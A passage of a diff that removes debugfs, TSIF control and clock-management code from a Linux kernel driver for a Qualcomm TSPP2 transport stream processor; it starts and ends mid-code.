writel_relaxed(val, data); +- wmb(); +- +- pm_runtime_mark_last_busy(device->dev); +- pm_runtime_put_autosuspend(device->dev); +- +- return 0; +-} +- +-static int debugfs_iomem_x32_get(void *data, u64 *val) +-{ +- int ret; +- struct tspp2_device *device = tspp2_devices[0]; /* Assuming device 0 */ +- +- if (!device->opened) +- return -ENODEV; +- +- ret = pm_runtime_get_sync(device->dev); +- if (ret < 0) +- return ret; +- +- *val = readl_relaxed(data); +- +- pm_runtime_mark_last_busy(device->dev); +- pm_runtime_put_autosuspend(device->dev); +- +- return 0; +-} +- +-DEFINE_SIMPLE_ATTRIBUTE(fops_iomem_x32, debugfs_iomem_x32_get, +- debugfs_iomem_x32_set, "0x%08llX"); +- +-static int debugfs_dev_open_set(void *data, u64 val) +-{ +- int ret = 0; +- +- /* Assuming device 0 */ +- if (val == 1) +- ret = tspp2_device_open(0); +- else +- ret = tspp2_device_close(0); +- +- return ret; +-} +- +-static int debugfs_dev_open_get(void *data, u64 *val) +-{ +- struct tspp2_device *device = tspp2_devices[0]; /* Assuming device 0 */ +- +- *val = device->opened; +- +- return 0; +-} +- +-DEFINE_SIMPLE_ATTRIBUTE(fops_device_open, debugfs_dev_open_get, +- debugfs_dev_open_set, "0x%08llX"); +- +-/** +- * tspp2_tsif_debugfs_init() - TSIF device debugfs initialization. +- * +- * @tsif_device: TSIF device. +- */ +-static void tspp2_tsif_debugfs_init(struct tspp2_tsif_device *tsif_device) +-{ +- int i; +- char name[10]; +- struct dentry *dentry; +- void __iomem *base = tsif_device->base; +- +- snprintf(name, 10, "tsif%i", tsif_device->hw_index); +- tsif_device->debugfs_entry = debugfs_create_dir(name, NULL); +- +- if (!tsif_device->debugfs_entry) +- return; +- +- dentry = tsif_device->debugfs_entry; +- if (dentry) { +- for (i = 0; i < ARRAY_SIZE(tsif_regs); i++) { +- debugfs_create_file( +- tsif_regs[i].name, +- tsif_regs[i].mode, +- dentry, +- base + tsif_regs[i].offset, +- &fops_iomem_x32); +- } +- } +- +- dentry = debugfs_create_dir("statistics", tsif_device->debugfs_entry); +- if (dentry) { +- debugfs_create_u32( +- "stat_pkt_write_err", +- S_IRUGO | S_IWUSR | S_IWGRP, +- dentry, +- &tsif_device->stat_pkt_write_err); +- +- debugfs_create_u32( +- "stat_pkt_read_err", +- S_IRUGO | S_IWUSR | S_IWGRP, +- dentry, +- &tsif_device->stat_pkt_read_err); +- +- debugfs_create_u32( +- "stat_overflow", +- S_IRUGO | S_IWUSR | S_IWGRP, +- dentry, +- &tsif_device->stat_overflow); +- +- debugfs_create_u32( +- "stat_lost_sync", +- S_IRUGO | S_IWUSR | S_IWGRP, +- dentry, +- &tsif_device->stat_lost_sync); +- +- debugfs_create_u32( +- "stat_timeout", +- S_IRUGO | S_IWUSR | S_IWGRP, +- dentry, +- &tsif_device->stat_timeout); +- } +-} +- +-static char *op_to_string(enum tspp2_operation_type op) +-{ +- switch (op) { +- case TSPP2_OP_PES_ANALYSIS: +- return "TSPP2_OP_PES_ANALYSIS"; +- case TSPP2_OP_RAW_TRANSMIT: +- return "TSPP2_OP_RAW_TRANSMIT"; +- case TSPP2_OP_PES_TRANSMIT: +- return "TSPP2_OP_PES_TRANSMIT"; +- case TSPP2_OP_PCR_EXTRACTION: +- return "TSPP2_OP_PCR_EXTRACTION"; +- case TSPP2_OP_CIPHER: +- return "TSPP2_OP_CIPHER"; +- case TSPP2_OP_INDEXING: +- return "TSPP2_OP_INDEXING"; +- case TSPP2_OP_COPY_PACKET: +- return "TSPP2_OP_COPY_PACKET"; +- default: +- return "Invalid Operation"; +- } +-} +- +-static char *src_input_to_string(enum tspp2_src_input src_input) +-{ +- switch (src_input) { +- case TSPP2_INPUT_TSIF0: +- return "TSPP2_INPUT_TSIF0"; +- case TSPP2_INPUT_TSIF1: +- return "TSPP2_INPUT_TSIF1"; +- case TSPP2_INPUT_MEMORY: +- return "TSPP2_INPUT_MEMORY"; +- default: +- return "Unknown source input type"; +- } +-} +- +-static char *pkt_format_to_string(enum tspp2_packet_format pkt_format) +-{ +- switch (pkt_format) { +- case TSPP2_PACKET_FORMAT_188_RAW: +- return "TSPP2_PACKET_FORMAT_188_RAW"; +- case TSPP2_PACKET_FORMAT_192_HEAD: +- return "TSPP2_PACKET_FORMAT_192_HEAD"; +- case TSPP2_PACKET_FORMAT_192_TAIL: +- return "TSPP2_PACKET_FORMAT_192_TAIL"; +- default: +- return "Unknown packet format"; +- } +-} +- +-/** +- * debugfs service to print device information. +- */ +-static int tspp2_device_debugfs_print(struct seq_file *s, void *p) +-{ +- int count; +- int exist_flag = 0; +- struct tspp2_device *device = (struct tspp2_device *)s->private; +- +- seq_printf(s, "dev_id: %d\n", device->dev_id); +- seq_puts(s, "Enabled filters:"); +- for (count = 0; count < TSPP2_NUM_AVAIL_FILTERS; count++) +- if (device->filters[count].enabled) { +- seq_printf(s, "\n\tfilter%3d", count); +- exist_flag = 1; +- } +- if (!exist_flag) +- seq_puts(s, " none\n"); +- else +- seq_puts(s, "\n"); +- +- exist_flag = 0; +- seq_puts(s, "Opened filters:"); +- for (count = 0; count < TSPP2_NUM_AVAIL_FILTERS; count++) +- if (device->filters[count].opened) { +- seq_printf(s, "\n\tfilter%3d", count); +- exist_flag = 1; +- } +- if (!exist_flag) +- seq_puts(s, " none\n"); +- else +- seq_puts(s, "\n"); +- +- exist_flag = 0; +- seq_puts(s, "Opened pipes:\n"); +- for (count = 0; count < TSPP2_NUM_PIPES; count++) +- if (device->pipes[count].opened) { +- seq_printf(s, "\tpipe%2d\n", count); +- exist_flag = 1; +- } +- if (!exist_flag) +- seq_puts(s, " none\n"); +- else +- seq_puts(s, "\n"); +- +- return 0; +-} +- +-/** +- * debugfs service to print source information. +- */ +-static int tspp2_src_debugfs_print(struct seq_file *s, void *p) +-{ +- struct tspp2_filter_batch *batch; +- struct tspp2_filter *filter; +- struct tspp2_output_pipe *output_pipe; +- struct tspp2_src *src = (struct tspp2_src *)s->private; +- +- if (!src) { +- seq_puts(s, "error\n"); +- return 1; +- } +- seq_printf(s, "Status: %s\n", src->enabled ? "enabled" : "disabled"); +- seq_printf(s, "hw_index: %d\n", src->hw_index); +- seq_printf(s, "event_bitmask: 0x%08X\n", src->event_bitmask); +- if (src->input_pipe) +- seq_printf(s, "input_pipe hw_index: %d\n", +- src->input_pipe->hw_index); +- seq_printf(s, "tspp2_src_input: %s\n", src_input_to_string(src->input)); +- seq_printf(s, "pkt_format: %s\n", +- pkt_format_to_string(src->pkt_format)); +- seq_printf(s, "num_associated_batches: %d\n", +- src->num_associated_batches); +- +- if (src->num_associated_batches) { +- seq_puts(s, "batch_ids: "); +- list_for_each_entry(batch, &src->batches_list, link) +- seq_printf(s, "%d ", batch->batch_id); +- seq_puts(s, "\n"); +- } +- +- seq_printf(s, "num_associated_pipes: %d\n", src->num_associated_pipes); +- if (src->num_associated_pipes) { +- seq_puts(s, "pipes_hw_idxs: "); +- list_for_each_entry(output_pipe, &src->output_pipe_list, link) { +- seq_printf(s, "%d ", output_pipe->pipe->hw_index); +- } +- seq_puts(s, "\n"); +- } +- +- seq_printf(s, "reserved_filter_hw_index: %d\n", +- src->reserved_filter_hw_index); +- +- seq_printf(s, "num_associated_filters: %d\n", +- src->num_associated_filters); +- if (src->num_associated_filters) { +- int i; +- seq_puts(s, "Open filters:\n"); +- list_for_each_entry(filter, &src->filters_list, link) { +- if (!filter->opened) +- continue; +- seq_printf(s, "\thw_index: %d\n", +- filter->hw_index); +- seq_printf(s, "\tStatus: %s\n", +- filter->enabled ? "enabled" +- : "disabled"); +- seq_printf(s, "\tpid_value: 0x%08X\n", +- filter->pid_value); +- seq_printf(s, "\tmask: 0x%08X\n", filter->mask); +- seq_printf(s, "\tnum_user_operations: %d\n", +- filter->num_user_operations); +- if (filter->num_user_operations) { +- seq_puts( +- s, "\tTypes of operations:\n"); +- for (i = 0; +- i < filter->num_user_operations; i++) { +- seq_printf(s, "\t\t%s\n", op_to_string( +- filter->operations[i].type)); +- } +- } +- } +- +- } else { +- seq_puts(s, "no filters\n"); +- } +- +- return 0; +-} +- +-/** +- * debugfs service to print filter information. +- */ +-static int filter_debugfs_print(struct seq_file *s, void *p) +-{ +- int i; +- struct tspp2_filter *filter = (struct tspp2_filter *)s->private; +- +- seq_printf(s, "Status: %s\n", filter->opened ? "opened" : "closed"); +- if (filter->batch) +- seq_printf(s, "Located in batch %d\n", filter->batch->batch_id); +- if (filter->src) +- seq_printf(s, "Associated with src %d\n", +- filter->src->hw_index); +- seq_printf(s, "hw_index: %d\n", filter->hw_index); +- seq_printf(s, "pid_value: 0x%08X\n", filter->pid_value); +- seq_printf(s, "mask: 0x%08X\n", filter->mask); +- seq_printf(s, "context: %d\n", filter->context); +- seq_printf(s, "indexing_table_id: %d\n", filter->indexing_table_id); +- seq_printf(s, "num_user_operations: %d\n", filter->num_user_operations); +- seq_puts(s, "Types of operations:\n"); +- for (i = 0; i < filter->num_user_operations; i++) +- seq_printf(s, "\t%s\n", op_to_string( +- filter->operations[i].type)); +- seq_printf(s, "indexing_op_set: %d\n", filter->indexing_op_set); +- seq_printf(s, "raw_op_with_indexing: %d\n", +- filter->raw_op_with_indexing); +- seq_printf(s, "pes_analysis_op_set: %d\n", filter->pes_analysis_op_set); +- seq_printf(s, "raw_op_set: %d\n", filter->raw_op_set); +- seq_printf(s, "pes_tx_op_set: %d\n", filter->pes_tx_op_set); +- seq_printf(s, "Status: %s\n", filter->enabled ? "enabled" : "disabled"); +- +- if (filter->enabled) { +- seq_printf(s, "Filter context-based counters, context %d\n", +- filter->context); +- seq_printf(s, "filter_tsp_sync_err = 0x%08X\n", +- readl_relaxed(filter->device->base + +- TSPP2_FILTER_TSP_SYNC_ERROR(filter->context))); +- seq_printf(s, "filter_erred_tsp = 0x%08X\n", +- readl_relaxed(filter->device->base + +- TSPP2_FILTER_ERRED_TSP(filter->context))); +- seq_printf(s, "filter_discontinuities = 0x%08X\n", +- readl_relaxed(filter->device->base + +- TSPP2_FILTER_DISCONTINUITIES(filter->context))); +- seq_printf(s, "filter_sc_bits_discard = 0x%08X\n", +- readl_relaxed(filter->device->base + +- TSPP2_FILTER_SCRAMBLING_BITS_DISCARD(filter->context))); +- seq_printf(s, "filter_tsp_total_num = 0x%08X\n", +- readl_relaxed(filter->device->base + +- TSPP2_FILTER_TSP_TOTAL_NUM(filter->context))); +- seq_printf(s, "filter_discont_indicator = 0x%08X\n", +- readl_relaxed(filter->device->base + +- TSPP2_FILTER_DISCONT_INDICATOR(filter->context))); +- seq_printf(s, "filter_tsp_no_payload = 0x%08X\n", +- readl_relaxed(filter->device->base + +- TSPP2_FILTER_TSP_NO_PAYLOAD(filter->context))); +- seq_printf(s, "filter_tsp_duplicate = 0x%08X\n", +- readl_relaxed(filter->device->base + +- TSPP2_FILTER_TSP_DUPLICATE(filter->context))); +- seq_printf(s, "filter_key_fetch_fail = 0x%08X\n", +- readl_relaxed(filter->device->base + +- TSPP2_FILTER_KEY_FETCH_FAILURE(filter->context))); +- seq_printf(s, "filter_dropped_pcr = 0x%08X\n", +- readl_relaxed(filter->device->base + +- TSPP2_FILTER_DROPPED_PCR(filter->context))); +- seq_printf(s, "filter_pes_errors = 0x%08X\n", +- readl_relaxed(filter->device->base + +- TSPP2_FILTER_PES_ERRORS(filter->context))); +- } +- +- return 0; +-} +- +-/** +- * debugfs service to print pipe information. +- */ +-static int pipe_debugfs_print(struct seq_file *s, void *p) +-{ +- struct tspp2_pipe *pipe = (struct tspp2_pipe *)s->private; +- seq_printf(s, "hw_index: %d\n", pipe->hw_index); +- seq_printf(s, "iova: 0x%08X\n", pipe->iova); +- seq_printf(s, "threshold: %d\n", pipe->threshold); +- seq_printf(s, "Status: %s\n", pipe->opened ? "opened" : "closed"); +- seq_printf(s, "ref_cnt: %d\n", pipe->ref_cnt); +- return 0; +-} +- +-static int tspp2_dev_dbgfs_open(struct inode *inode, struct file *file) +-{ +- return single_open(file, tspp2_device_debugfs_print, +- inode->i_private); +-} +- +-static int tspp2_filter_dbgfs_open(struct inode *inode, struct file *file) +-{ +- return single_open(file, filter_debugfs_print, inode->i_private); +-} +- +-static int tspp2_pipe_dbgfs_open(struct inode *inode, struct file *file) +-{ +- return single_open(file, pipe_debugfs_print, inode->i_private); +-} +- +-static int tspp2_src_dbgfs_open(struct inode *inode, struct file *file) +-{ +- return single_open(file, tspp2_src_debugfs_print, inode->i_private); +-} +- +-static const struct file_operations dbgfs_tspp2_device_fops = { +- .open = tspp2_dev_dbgfs_open, +- .read = seq_read, +- .llseek = seq_lseek, +- .release = single_release, +- .owner = THIS_MODULE, +-}; +- +-static const struct file_operations dbgfs_filter_fops = { +- .open = tspp2_filter_dbgfs_open, +- .read = seq_read, +- .llseek = seq_lseek, +- .release = single_release, +- .owner = THIS_MODULE, +-}; +- +-static const struct file_operations dbgfs_pipe_fops = { +- .open = tspp2_pipe_dbgfs_open, +- .read = seq_read, +- .llseek = seq_lseek, +- .release = single_release, +- .owner = THIS_MODULE, +-}; +- +-static const struct file_operations dbgfs_src_fops = { +- .open = tspp2_src_dbgfs_open, +- .read = seq_read, +- .llseek = seq_lseek, +- .release = single_release, +- .owner = THIS_MODULE, +-}; +- +-/** +- * tspp2_tsif_debugfs_exit() - TSIF device debugfs teardown. +- * +- * @tsif_device: TSIF device. +- */ +-static void tspp2_tsif_debugfs_exit(struct tspp2_tsif_device *tsif_device) +-{ +- debugfs_remove_recursive(tsif_device->debugfs_entry); +- tsif_device->debugfs_entry = NULL; +-} +- +-/** +- * tspp2_debugfs_init() - TSPP2 device debugfs initialization. +- * +- * @device: TSPP2 device. +- */ +-static void tspp2_debugfs_init(struct tspp2_device *device) +-{ +- int i, j; +- char name[80]; +- struct dentry *dentry; +- struct dentry *dir; +- void __iomem *base = device->base; +- +- snprintf(name, 80, "tspp2_%i", device->dev_id); +- device->debugfs_entry = debugfs_create_dir(name, NULL); +- +- if (!device->debugfs_entry) +- return; +- +- /* Support device open/close */ +- debugfs_create_file("open", TSPP2_S_RW, device->debugfs_entry, +- NULL, &fops_device_open); +- +- dentry = debugfs_create_dir("regs", device->debugfs_entry); +- if (dentry) { +- for (i = 0; i < ARRAY_SIZE(tspp2_regs); i++) { +- debugfs_create_file( +- tspp2_regs[i].name, +- tspp2_regs[i].mode, +- dentry, +- base + tspp2_regs[i].offset, +- &fops_iomem_x32); +- } +- } +- +- dentry = debugfs_create_dir("statistics", device->debugfs_entry); +- if (dentry) { +- debugfs_create_u32( +- "stat_tsp_invalid_af_control", +- S_IRUGO | S_IWUSR | S_IWGRP, +- dentry, +- &device->irq_stats.global.tsp_invalid_af_control); +- +- debugfs_create_u32( +- "stat_tsp_invalid_length", +- S_IRUGO | S_IWUSR | S_IWGRP, +- dentry, +- &device->irq_stats.global.tsp_invalid_length); +- +- debugfs_create_u32( +- "stat_pes_no_sync", +- S_IRUGO | S_IWUSR | S_IWGRP, +- dentry, +- &device->irq_stats.global.pes_no_sync); +- +- debugfs_create_u32( +- "stat_encrypt_level_err", +- S_IRUGO | S_IWUSR | S_IWGRP, +- dentry, +- &device->irq_stats.global.encrypt_level_err); +- } +- +- dir = debugfs_create_dir("counters", device->debugfs_entry); +- for (i = 0; i < TSPP2_NUM_CONTEXTS; i++) { +- snprintf(name, 80, "context%03i", i); +- dentry = debugfs_create_dir(name, dir); +- if (dentry) { +- debugfs_create_file("filter_tsp_sync_err", +- TSPP2_S_RW, +- dentry, +- base + TSPP2_FILTER_TSP_SYNC_ERROR(i), +- &fops_iomem_x32); +- +- debugfs_create_file("filter_erred_tsp", +- TSPP2_S_RW, +- dentry, +- base + TSPP2_FILTER_ERRED_TSP(i), +- &fops_iomem_x32); +- +- debugfs_create_file("filter_discontinuities", +- TSPP2_S_RW, +- dentry, +- base + TSPP2_FILTER_DISCONTINUITIES(i), +- &fops_iomem_x32); +- +- debugfs_create_file("filter_sc_bits_discard", +- TSPP2_S_RW, +- dentry, +- base + TSPP2_FILTER_SCRAMBLING_BITS_DISCARD(i), +- &fops_iomem_x32); +- +- debugfs_create_file("filter_tsp_total_num", +- TSPP2_S_RW, +- dentry, +- base + TSPP2_FILTER_TSP_TOTAL_NUM(i), +- &fops_iomem_x32); +- +- debugfs_create_file("filter_discont_indicator", +- TSPP2_S_RW, +- dentry, +- base + TSPP2_FILTER_DISCONT_INDICATOR(i), +- &fops_iomem_x32); +- +- debugfs_create_file("filter_tsp_no_payload", +- TSPP2_S_RW, +- dentry, +- base + TSPP2_FILTER_TSP_NO_PAYLOAD(i), +- &fops_iomem_x32); +- +- debugfs_create_file("filter_tsp_duplicate", +- TSPP2_S_RW, +- dentry, +- base + TSPP2_FILTER_TSP_DUPLICATE(i), +- &fops_iomem_x32); +- +- debugfs_create_file("filter_key_fetch_fail", +- TSPP2_S_RW, +- dentry, +- base + TSPP2_FILTER_KEY_FETCH_FAILURE(i), +- &fops_iomem_x32); +- +- debugfs_create_file("filter_dropped_pcr", +- TSPP2_S_RW, +- dentry, +- base + TSPP2_FILTER_DROPPED_PCR(i), +- &fops_iomem_x32); +- +- debugfs_create_file("filter_pes_errors", +- TSPP2_S_RW, +- dentry, +- base + TSPP2_FILTER_PES_ERRORS(i), +- &fops_iomem_x32); +- +- debugfs_create_u32( +- "stat_sc_go_high", +- S_IRUGO | S_IWUSR | S_IWGRP, +- dentry, +- &device->irq_stats.ctx[i].sc_go_high); +- +- debugfs_create_u32( +- "stat_sc_go_low", +- S_IRUGO | S_IWUSR | S_IWGRP, +- dentry, +- &device->irq_stats.ctx[i].sc_go_low); +- } +- } +- +- dir = debugfs_create_dir("filters", device->debugfs_entry); +- for (i = 0; i < TSPP2_NUM_HW_FILTERS; i++) { +- snprintf(name, 80, "filter%03i", i); +- dentry = debugfs_create_dir(name, dir); +- if (dentry) { +- debugfs_create_file("filter_entry0", +- TSPP2_S_RW, +- dentry, +- base + TSPP2_FILTER_ENTRY0(i), +- &fops_iomem_x32); +- +- debugfs_create_file("filter_entry1", +- TSPP2_S_RW, +- dentry, +- base + TSPP2_FILTER_ENTRY1(i), +- &fops_iomem_x32); +- +- for (j = 0; j < TSPP2_MAX_OPS_PER_FILTER; j++) { +- snprintf(name, 80, "opcode%02i", j); +- debugfs_create_file(name, +- TSPP2_S_RW, +- dentry, +- base + TSPP2_OPCODE(i, j), +- &fops_iomem_x32); +- } +- } +- } +- +- dir = debugfs_create_dir("mem_sources", device->debugfs_entry); +- for (i = 0; i < TSPP2_NUM_MEM_INPUTS; i++) { +- snprintf(name, 80, "mem_src%i", i); +- dentry = debugfs_create_dir(name, dir); +- if (dentry) { +- debugfs_create_u32( +- "stat_read_failure", +- S_IRUGO | S_IWUSR | S_IWGRP, +- dentry, +- &device->irq_stats.src[i].read_failure); +- +- debugfs_create_u32( +- "stat_flow_control_stall", +- S_IRUGO | S_IWUSR | S_IWGRP, +- dentry, +- &device->irq_stats.src[i].flow_control_stall); +- } +- } +- +- dir = debugfs_create_dir("key_tables", device->debugfs_entry); +- for (i = 0; i < TSPP2_NUM_KEYTABLES; i++) { +- snprintf(name, 80, "key_table%02i", i); +- dentry = debugfs_create_dir(name, dir); +- if (dentry) { +- debugfs_create_u32( +- "stat_key_not_ready", +- S_IRUGO | S_IWUSR | S_IWGRP, +- dentry, +- &device->irq_stats.kt[i].key_not_ready); +- } +- } +- +- dir = debugfs_create_dir("pipes", device->debugfs_entry); +- for (i = 0; i < TSPP2_NUM_PIPES; i++) { +- snprintf(name, 80, "pipe%02i", i); +- dentry = debugfs_create_dir(name, dir); +- if (dentry) { +- debugfs_create_file("threshold", +- TSPP2_S_RW, +- dentry, +- base + TSPP2_PIPE_THRESH_CONFIG(i), +- &fops_iomem_x32); +- +- debugfs_create_file("last_address", +- S_IRUGO, +- dentry, +- base + TSPP2_PIPE_LAST_ADDRESS(i), +- &fops_iomem_x32); +- +- debugfs_create_file("data_not_sent", +- S_IRUGO, +- dentry, +- base + TSPP2_DATA_NOT_SENT_ON_PIPE(i), +- &fops_iomem_x32); +- +- debugfs_create_u32( +- "stat_unexpected_reset", +- S_IRUGO | S_IWUSR | S_IWGRP, +- dentry, +- &device->irq_stats.pipe[i].unexpected_reset); +- +- debugfs_create_u32( +- "stat_qsb_response_error", +- S_IRUGO | S_IWUSR | S_IWGRP, +- dentry, +- &device->irq_stats.pipe[i].qsb_response_error); +- +- debugfs_create_u32( +- "stat_wrong_pipe_direction", +- S_IRUGO | S_IWUSR | S_IWGRP, +- dentry, +- &device->irq_stats.pipe[i]. +- wrong_pipe_direction); +- } +- } +- +- dir = debugfs_create_dir("indexing_tables", device->debugfs_entry); +- for (i = 0; i < TSPP2_NUM_INDEXING_TABLES; i++) { +- snprintf(name, 80, "indexing_table%i", i); +- dentry = debugfs_create_dir(name, dir); +- if (dentry) { +- debugfs_create_file("prefix", +- TSPP2_S_RW, +- dentry, +- base + TSPP2_INDEX_TABLE_PREFIX(i), +- &fops_iomem_x32); +- +- debugfs_create_file("mask", +- TSPP2_S_RW, +- dentry, +- base + TSPP2_INDEX_TABLE_PREFIX_MASK(i), +- &fops_iomem_x32); +- +- debugfs_create_file("parameters", +- TSPP2_S_RW, +- dentry, +- base + TSPP2_INDEX_TABLE_PARAMS(i), +- &fops_iomem_x32); +- +- for (j = 0; j < TSPP2_NUM_INDEXING_PATTERNS; j++) { +- snprintf(name, 80, "pattern_%02i", j); +- debugfs_create_file(name, +- TSPP2_S_RW, +- dentry, +- base + TSPP2_INDEX_TABLE_PATTEREN(i, j), +- &fops_iomem_x32); +- +- snprintf(name, 80, "mask_%02i", j); +- debugfs_create_file(name, +- TSPP2_S_RW, +- dentry, +- base + TSPP2_INDEX_TABLE_MASK(i, j), +- &fops_iomem_x32); +- } +- } +- } +- dir = debugfs_create_dir("software", device->debugfs_entry); +- debugfs_create_file("device", S_IRUGO, dir, device, +- &dbgfs_tspp2_device_fops); +- +- dentry = debugfs_create_dir("filters", dir); +- if (dentry) { +- for (i = 0; i < TSPP2_NUM_AVAIL_FILTERS; i++) { +- snprintf(name, 20, "filter%03i", i); +- debugfs_create_file(name, S_IRUGO, dentry, +- &(device->filters[i]), &dbgfs_filter_fops); +- } +- } +- +- dentry = debugfs_create_dir("pipes", dir); +- if (dentry) { +- for (i = 0; i < TSPP2_NUM_PIPES; i++) { +- snprintf(name, 20, "pipe%02i", i); +- debugfs_create_file(name, S_IRUGO, dentry, +- &(device->pipes[i]), &dbgfs_pipe_fops); +- } +- } +- +- dentry = debugfs_create_dir("sources", dir); +- if (dentry) { +- for (i = 0; i < TSPP2_NUM_TSIF_INPUTS; i++) { +- snprintf(name, 20, "tsif%d", i); +- debugfs_create_file(name, S_IRUGO, dentry, +- &(device->tsif_sources[i]), &dbgfs_src_fops); +- } +- for (i = 0; i < TSPP2_NUM_MEM_INPUTS; i++) { +- snprintf(name, 20, "mem%d", i); +- debugfs_create_file(name, S_IRUGO, dentry, +- &(device->mem_sources[i]), &dbgfs_src_fops); +- } +- } +-} +- +-/** +- * tspp2_debugfs_exit() - TSPP2 device debugfs teardown. +- * +- * @device: TSPP2 device. +- */ +-static void tspp2_debugfs_exit(struct tspp2_device *device) +-{ +- debugfs_remove_recursive(device->debugfs_entry); +- device->debugfs_entry = NULL; +-} +- +-/** +- * tspp2_tsif_start() - Start TSIF device HW. +- * +- * @tsif_device: TSIF device. +- * +- * Return 0 on success, error value otherwise. +- */ +-static int tspp2_tsif_start(struct tspp2_tsif_device *tsif_device) +-{ +- u32 ctl; +- +- if (tsif_device->ref_count > 0) +- return 0; +- +- ctl = (TSIF_STS_CTL_EN_IRQ | TSIF_STS_CTL_EN_DM | +- TSIF_STS_CTL_PACK_AVAIL | TSIF_STS_CTL_OVERFLOW | +- TSIF_STS_CTL_LOST_SYNC | TSIF_STS_CTL_TIMEOUT | +- TSIF_STS_CTL_PARALLEL); +- +- if (tsif_device->clock_inverse) +- ctl |= TSIF_STS_CTL_INV_CLOCK; +- +- if (tsif_device->data_inverse) +- ctl |= TSIF_STS_CTL_INV_DATA; +- +- if (tsif_device->sync_inverse) +- ctl |= TSIF_STS_CTL_INV_SYNC; +- +- if (tsif_device->enable_inverse) +- ctl |= TSIF_STS_CTL_INV_ENABLE; +- +- switch (tsif_device->mode) { +- case TSPP2_TSIF_MODE_LOOPBACK: +- ctl |= TSIF_STS_CTL_EN_NULL | +- TSIF_STS_CTL_EN_ERROR | +- TSIF_STS_CTL_TEST_MODE; +- break; +- case TSPP2_TSIF_MODE_1: +- ctl |= TSIF_STS_CTL_EN_TIME_LIM | TSIF_STS_CTL_EN_TCR; +- break; +- case TSPP2_TSIF_MODE_2: +- ctl |= TSIF_STS_CTL_EN_TIME_LIM | +- TSIF_STS_CTL_EN_TCR | +- TSIF_STS_CTL_MODE_2; +- break; +- default: +- pr_warn("%s: Unknown TSIF mode %d, setting to TSPP2_TSIF_MODE_2\n", +- __func__, tsif_device->mode); +- ctl |= TSIF_STS_CTL_EN_TIME_LIM | +- TSIF_STS_CTL_EN_TCR | +- TSIF_STS_CTL_MODE_2; +- break; +- } +- +- writel_relaxed(ctl, tsif_device->base + TSPP2_TSIF_STS_CTL); +- writel_relaxed(tsif_device->time_limit, +- tsif_device->base + TSPP2_TSIF_TIME_LIMIT); +- wmb(); +- writel_relaxed(ctl | TSIF_STS_CTL_START, +- tsif_device->base + TSPP2_TSIF_STS_CTL); +- wmb(); +- +- ctl = readl_relaxed(tsif_device->base + TSPP2_TSIF_STS_CTL); +- if (ctl & TSIF_STS_CTL_START) +- tsif_device->ref_count++; +- +- return (ctl & TSIF_STS_CTL_START) ? 0 : -EBUSY; +-} +- +- +-static int tspp2_vbif_clock_start(struct tspp2_device *device) +-{ +- int ret; +- +- if (device->tspp2_vbif_clk) { +- ret = clk_prepare_enable(device->tspp2_vbif_clk); +- if (ret) { +- pr_err("%s: Can't start tspp2_vbif_clk\n", __func__); +- return ret; +- } +- } +- +- if (device->vbif_ahb_clk) { +- ret = clk_prepare_enable(device->vbif_ahb_clk); +- if (ret) { +- pr_err("%s: Can't start vbif_ahb_clk\n", __func__); +- goto disable_vbif_tspp2; +- } +- } +- if (device->vbif_axi_clk) { +- ret = clk_prepare_enable(device->vbif_axi_clk); +- if (ret) { +- pr_err("%s: Can't start vbif_ahb_clk\n", __func__); +- goto disable_vbif_ahb; +- } +- } +- +- return 0; +- +-disable_vbif_ahb: +- if (device->vbif_ahb_clk) +- clk_disable_unprepare(device->vbif_ahb_clk); +-disable_vbif_tspp2: +- if (device->tspp2_vbif_clk) +- clk_disable_unprepare(device->tspp2_vbif_clk); +- +- return ret; +-} +- +-static void tspp2_vbif_clock_stop(struct tspp2_device *device) +-{ +- if (device->tspp2_vbif_clk) +- clk_disable_unprepare(device->tspp2_vbif_clk); +- +- if (device->vbif_ahb_clk) +- clk_disable_unprepare(device->vbif_ahb_clk); +- +- if (device->vbif_axi_clk) +- clk_disable_unprepare(device->vbif_axi_clk); +-} +- +-/** +- * tspp2_tsif_stop() - Stop TSIF device HW. +- * +- * @tsif_device: TSIF device. +- */ +-static void tspp2_tsif_stop(struct tspp2_tsif_device *tsif_device) +-{ +- if (tsif_device->ref_count == 0) +- return; +- +- tsif_device->ref_count--; +- +- if (tsif_device->ref_count == 0) { +- writel_relaxed(TSIF_STS_CTL_STOP, +- tsif_device->base + TSPP2_TSIF_STS_CTL); +- /* +- * The driver assumes that after this point the TSIF is stopped, +- * so a memory barrier is required to allow +- * further register writes. +- */ +- wmb(); +- } +-} +- +-/* Clock functions */ +- +-static int tspp2_reg_clock_start(struct tspp2_device *device) +-{ +- int rc; +- +- if (device->tspp2_ahb_clk && +- clk_prepare_enable(device->tspp2_ahb_clk) != 0) { +- pr_err("%s: Can't start tspp2_ahb_clk\n", __func__); +- return -EBUSY; +- } +- +- if (device->tspp2_core_clk && +- clk_prepare_enable(device->tspp2_core_clk) != 0) { +- pr_err("%s: Can't start tspp2_core_clk\n", __func__); +- if (device->tspp2_ahb_clk) +- clk_disable_unprepare(device->tspp2_ahb_clk); +- return -EBUSY; +- } +- +- /* Request minimal bandwidth on the bus, required for register access */ +- if (device->bus_client) { +- rc = msm_bus_scale_client_update_request(device->bus_client, 1); +- if (rc) { +- pr_err("%s: Can't enable bus\n", __func__); +- if (device->tspp2_core_clk) +- clk_disable_unprepare(device->tspp2_core_clk); +- if (device->tspp2_ahb_clk) +- clk_disable_unprepare(device->tspp2_ahb_clk); +- return -EBUSY; +- } +- } +- +- return 0; +-} +- +-static int tspp2_reg_clock_stop(struct tspp2_device *device) +-{ +- /* Minimize bandwidth bus voting */ +- if (device->bus_client) +- msm_bus_scale_client_update_request(device->bus_client, 0); +- +- if (device->tspp2_core_clk) +- clk_disable_unprepare(device->tspp2_core_clk); +- +- if (device->tspp2_ahb_clk) +- clk_disable_unprepare(device->tspp2_ahb_clk); +- +- return 0; +-} +- +-/** +- * tspp2_clock_start() - Enable the required TSPP2 clocks +- * +- * @device: The TSPP2 device. +- * +- * Return 0 on success, error value otherwise. +- */ +-static int tspp2_clock_start(struct tspp2_device *device) +-{ +- int tspp2_ahb_clk = 0; +- int tspp2_core_clk = 0; +- int tspp2_vbif_clk = 0; +- int tspp2_klm_ahb_clk = 0; +- int tsif_ref_clk = 0; +- +- if (device == NULL) { +- pr_err("%s: Can't start clocks, invalid device\n", __func__); +- return -EINVAL; +- } +- +- if (device->tspp2_ahb_clk) { +- if (clk_prepare_enable(device->tspp2_ahb_clk) != 0) { +- pr_err("%s: Can't start tspp2_ahb_clk\n", __func__); +- goto err_clocks; +- } +- tspp2_ahb_clk = 1; +- } +- +- if (device->tspp2_core_clk) { +- if (clk_prepare_enable(device->tspp2_core_clk) != 0) { +- pr_err("%s: 